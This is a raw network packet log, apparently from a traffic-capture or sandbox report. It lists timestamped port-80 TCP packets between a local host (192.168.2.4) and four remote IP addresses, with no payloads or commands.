Sep 11, 2024 16:22:17.611159086 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611169100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611171007 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.611171007 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.611181021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611192942 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611234903 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.611234903 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.611931086 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612040043 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612087965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612101078 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612111092 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612123013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612135887 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612152100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612169981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612169981 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612234116 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612258911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612271070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612282038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612308025 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612329006 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612437963 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612451077 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612461090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612473011 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612484932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.612529039 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.612529039 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613631964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613643885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613656998 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613667965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613679886 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613689899 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613692045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613739014 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613765001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613769054 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613781929 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613790989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613801956 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613812923 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613826036 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613831997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613831997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613838911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613877058 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.613940954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.613954067 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614042997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614262104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614272118 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614437103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614450932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614461899 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614475012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614487886 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614487886 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614490986 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614502907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614516020 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614542961 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614542961 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614583015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614593029 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614598989 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614603996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614615917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614629030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614635944 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614640951 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614653111 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614654064 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614665985 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614677906 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614716053 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614742041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614748001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614748001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614799023 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.614936113 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614948034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614959955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614974976 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614984035 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.614995003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615001917 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615001917 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615006924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615017891 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615030050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615039110 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615065098 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615083933 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615083933 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615252018 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615430117 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615442038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615452051 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.615521908 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.615521908 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616126060 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616137981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616148949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616159916 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616169930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616180897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616185904 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616193056 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616203070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616214991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616239071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616239071 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616256952 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616267920 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616278887 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616322994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616322994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616441965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616456032 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616466045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616477013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616487026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.616528034 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.616528034 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.617804050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617815971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617826939 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617837906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617851019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617861986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617870092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.617897034 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.617907047 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.617969036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617981911 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.617991924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618002892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618014097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618016005 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.618040085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618073940 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618119955 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618132114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618144035 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618155956 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618168116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618170977 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618211985 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618304968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618315935 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618352890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618448019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618460894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618473053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618484974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618496895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.618496895 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618530989 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.618567944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.621957064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.621969938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.621980906 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622051001 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.622266054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622277975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622293949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622322083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.622359991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.622427940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622442961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622452021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622463942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622474909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622476101 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.622488022 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622499943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622510910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622522116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.622523069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.622571945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.624834061 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.624847889 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.624901056 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.624972105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.624984026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.624994040 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625005960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625017881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625022888 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625030041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625044107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625066042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625232935 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625243902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625256062 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625277042 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625309944 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625401020 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625412941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625426054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625437021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625448942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625451088 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625468969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625507116 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625531912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625544071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625576019 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625610113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625729084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625741959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625778913 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625911951 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625925064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625936031 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625946999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.625961065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.625998974 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.626060963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.626074076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.626084089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.626096964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.626106977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.626108885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.626122952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626135111 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626141071 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.626146078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626157999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626183987 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.626194954 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626208067 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626216888 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626234055 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626235008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626235008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626285076 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626380920 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626393080 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626410007 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626437902 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626471043 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626539946 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626553059 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626564980 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626575947 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626597881 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626630068 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626740932 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626753092 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626761913 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626773119 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626785040 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626795053 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626806974 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626807928 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626818895 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626832008 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626837969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.626873016 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.626904964 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.627425909 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.627489090 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.628776073 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.628788948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.628801107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.628824949 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.628853083 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.628925085 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.628973961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.629100084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.629112005 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.629123926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.629133940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.629147053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629157066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629162073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.629168987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629182100 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629209042 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.629234076 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629245043 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629256964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629267931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629270077 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629280090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629306078 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629328966 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629430056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629441023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629452944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629467964 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629487038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629507065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629600048 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629615068 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629626989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629640102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629647017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629652023 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629679918 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629698992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.629805088 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.629847050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630078077 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630090952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630103111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630115032 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630137920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630161047 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630240917 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630255938 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630270004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630294085 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630330086 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630578041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630588055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630594015 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630603075 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630614042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630625963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630640984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630654097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.630666971 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630712986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.630897045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.630907059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.630953074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.631113052 CEST	80	49736	176.113.115.33	192.168.2.4
